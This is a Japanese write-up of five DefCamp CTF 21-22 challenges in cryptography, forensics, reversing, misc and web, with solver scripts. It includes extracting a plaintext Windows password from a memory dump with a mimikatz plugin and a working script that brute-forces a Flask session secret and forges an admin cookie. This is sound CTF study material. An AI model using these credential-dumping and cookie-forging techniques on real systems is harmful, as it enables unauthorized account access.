DefCamp CTF 21-22 Online Writeup

この大会は2022/2/11 18:00(JST)~2022/2/14 0:00(JST)に開催されました。
今回もチームで参戦。結果は379点で306チーム中110位でした。
自分で解けた問題をWriteupとして書いておきます。

raw-image (Cryptography)

$ file raw-image.bin 
raw-image.bin: openssl enc'd data with salted password

バイナリを見てみると、16バイトごとに以下のバイト文字列がある部分がある。

\x18\x62\x49\xa2\x7b\x26\xe2\xac\xb1\x51\x1b\xc9\x06\xfc\xec\xe8

おそらくECBモードでbmpを暗号化されていると考えられる。途中から切り出し、画像の幅を一定の範囲で総当たりしてフラグが見えるものを探す。その際、BMPのファイルフォーマットは以下のようになっていることを使う。

0000-0001: "BM"固定
0002-0005: ファイルサイズ
0006-0009: "00 00 00 00"固定
000a-000d: ヘッダ部データサイズ
000e-0011: "28 00 00 00"固定
0012-0015: 画像の幅
0016-0019: 画像の高さ
001a-001b: "01 00"固定
001c-001d: RGBの場合、"18 00"
#!/usr/bin/env python3
import struct

with open('raw-image.bin', 'rb') as f:
    enc = f.read()

i_height = 512

SIG = b'BM'
FILE_SIZE = struct.pack('I', len(enc) - 16)
ZERO4 = b'\x00' * 4
HEADER_SIZE = struct.pack('I', 54)
HEIGHT = struct.pack('I', i_height)
NEXT = b'\x01\x00\x18\x00' + ZERO4

for w in range(256*2, 256*8):
    fname = 'out_w/image_%04d.bmp' % w
    dec = SIG + FILE_SIZE + ZERO4 + HEADER_SIZE + b'\x28\x00\x00\x00'
    dec += struct.pack('I', w)
    dec += HEIGHT
    dec += NEXT
    dec += struct.pack('I', w * i_height * 3)
    dec += ZERO4 * 4
    dec += enc[0x36:]
    dec = dec.replace(b'\x18\x62\x49\xa2\x7b\x26\xe2\xac\xb1\x51\x1b\xc9\x06\xfc\xec\xe8', b'\xff' * 16)
    with open(fname, 'wb') as f:
        f.write(dec)

image_2000.bmpを無理やり開くと、フラグが書かれている
f:id:satou-y:20220221212852p:plain

<b>CTF{c589616e64bb57abab4e68d96cb015c442f5a3e14c0c0f27f7ef1892f17bff75}</b>
|<

* this-file-hides-something (Forensics)
ダンプファイルからパスワードを答える問題。
>|sh|
$ volatility -f crashdump.elf imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/ctf/work/crashdump.elf)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002831120L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002833000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-02-06 11:04:38 UTC+0000
     Image local date and time : 2022-02-06 03:04:38 -0800

$ volatility --plugins=../plugins -f crashdump.elf --profile=Win7SP1x64 mimikatz
Volatility Foundation Volatility Framework 2.6.1
Module   User             Domain           Password                                
-------- ---------------- ---------------- ----------------------------------------
wdigest  Nightcrawler     full-moon        Str0ngAsAR0ck!                          
wdigest  WIN-2JP7TCGP0PK$ WORKGROUP
Str0ngAsAR0ck!

algorithm (Reverse Engineering, Cryptography)

polinom関数は複雑だが、inputは0~99の100パターンしかない。ブルートフォースで全パターンの対応テーブルを作成し、暗号の数値文字列を切りながら、復号していく。

#!/usr/bin/env python2
def polinom(n, m):
    i = 0
    z = []
    s = 0
    while n > 0:
        if n % 2 != 0:
            z.append(2 - (n % 4))
        else:
            z.append(0)
        n = (n - z[i])/2
        i = i + 1
    z = z[::-1]
    l = len(z)
    for i in range(0, l):
         s += z[i] * m ** (l - 1 - i)
    return s

with open('flag_enc.txt', 'r') as f:
    enc = f.read().rstrip()

nfs = []
for d in range(100):
    nfs.append(polinom(d, 3))

iflag = ''
iflags = []
index = 0
finish = False
while True:
    for size in range(4, 0, -1):
        nf = int(enc[index:index + size])
        if nf in nfs:
            d1 = enc[index:index + size]
            d2 = enc[index:]
            if d1 == d2:
                finish = True
            s = str(nfs.index(nf))
            if finish:
                if len(s) == 1:
                    iflags += [iflag + s, iflag + s.zfill(2)]
                else:
                    iflags += [iflag + s]
            else:
                iflag += s.zfill(2)
                index += size
            break
    if finish:
        break

for iflag in iflags:
    hflag = hex(int(iflag))[2:].rstrip('L')
    if len(hflag) % 2 == 1:
        continue
    flag = hflag.decode('hex')
    print flag

復号結果は以下の通り。

[ola_th1s_1s_p0l]
$ echo -n [ola_th1s_1s_p0l] | sha256sum
267a4401ea64e7167168969743dcc708399e3823d40e4ae37c78d675e281cb14  -
CTF{267a4401ea64e7167168969743dcc708399e3823d40e4ae37c78d675e281cb14}

zebra-lib (Misc)

$ nc 34.159.7.96 32750
Incoming work proof!!!
eJwrzy_Kji8oys9Ps00zMbIst7QsNUjMTE60LE_JKM1IS0lMs0hMychIzMgoBgBfNxAC
Insert work proof:

URLセーフなbase64デコードをすると、zlibのデータになっていることがわかるので、さらに解凍して答えていく。

#!/usr/bin/env python3
import socket
import base64
import zlib

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.159.7.96', 32268))

i = 1
while True:
    print('******** Round %d ********' % i)
    data = recvuntil(s, b'\r\n').rstrip()
    print(data)
    if data != 'Incoming work proof!!!':
        break

    data = recvuntil(s, b'\r\n').rstrip()
    print(data)
    work_proof = zlib.decompress(base64.urlsafe_b64decode(data)).decode()

    data = recvuntil(s, b'\r\n').rstrip()
    print(data)
    print(work_proof)
    s.sendall(work_proof.encode() + b'\n')

    i += 1

data = recvuntil(s, b'\r\n').rstrip()
print(data)

実行結果は以下の通り。

        :
******** Round 497 ********
Incoming work proof!!!
eJwrzy_Kji8oys9PszUpTzXJTEvNMEy1SLc0SaxKSy5PNCktzEjNME4zNjK2AABi9g88
Insert work proof:
work_proof=4we4ifeh1e8g94azfcwa4uqheh3f3238
******** Round 498 ********
Incoming work proof!!!
eJwrzy_Kji8oys9PszUqLTc2tzQ2Kk3NSE0pN7bISCwuN7ZMKU8rTk1My7BIBQBcTQ-d
Insert work proof:
work_proof=2uw37932uehedw38hasw39dwfseafh8e
******** Round 499 ********
Incoming work proof!!!
eJwrzy_Kji8oys9Ps003yahKS0tLN0kzs0wsTjTOyDC3NCpPM06zME01zEjLAABhNg8u
Insert work proof:
work_proof=g4hzfffg4f69asa3hh792wf3f85e1hfh
******** Round 500 ********
Well done!
CTF{a7550246d72f8c7946a9248b3b9eee93461ac30f53ac8ca9749c9590b4ed1a2b}
CTF{a7550246d72f8c7946a9248b3b9eee93461ac30f53ac8ca9749c9590b4ed1a2b}

web-intro (Web)

Cookieのsessionキーに以下の値が設定されている。

eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgZGEg.zq0NOh8db9j8TPtK11l1m-bfhXg

Flaskのsessionのようなので、ブルートフォースでそのkeyを求め、'logged_in'をTrueにしたものを求める。

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

no_login_cookie = 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgZGEg.zq0NOh8db9j8TPtK11l1m-bfhXg'

with open('dict/rockyou.txt', 'rb') as f:
    words = f.read().splitlines()

for key in words:
    try:
        session = FlaskSessionCookieManager.decode(key, no_login_cookie)
        print('key =', key.decode())
        print('session =', session)
        break
    except:
        continue

admin_session = session
admin_session['logged_in'] = True
admin_cookie = FlaskSessionCookieManager.encode(key, admin_session)
print('admin cookie =', admin_cookie)

実行結果は以下の通り。

key = password
session = {'logged_in': False}
admin cookie = eyJsb2dnZWRfaW4iOnRydWV9.YgbuWw.znCKyTFVp5TmsOx1LgUNpmd6Q1k

この値をクッキーのsessionキーに設定し、リロードする。

You are logged in! CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}
CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}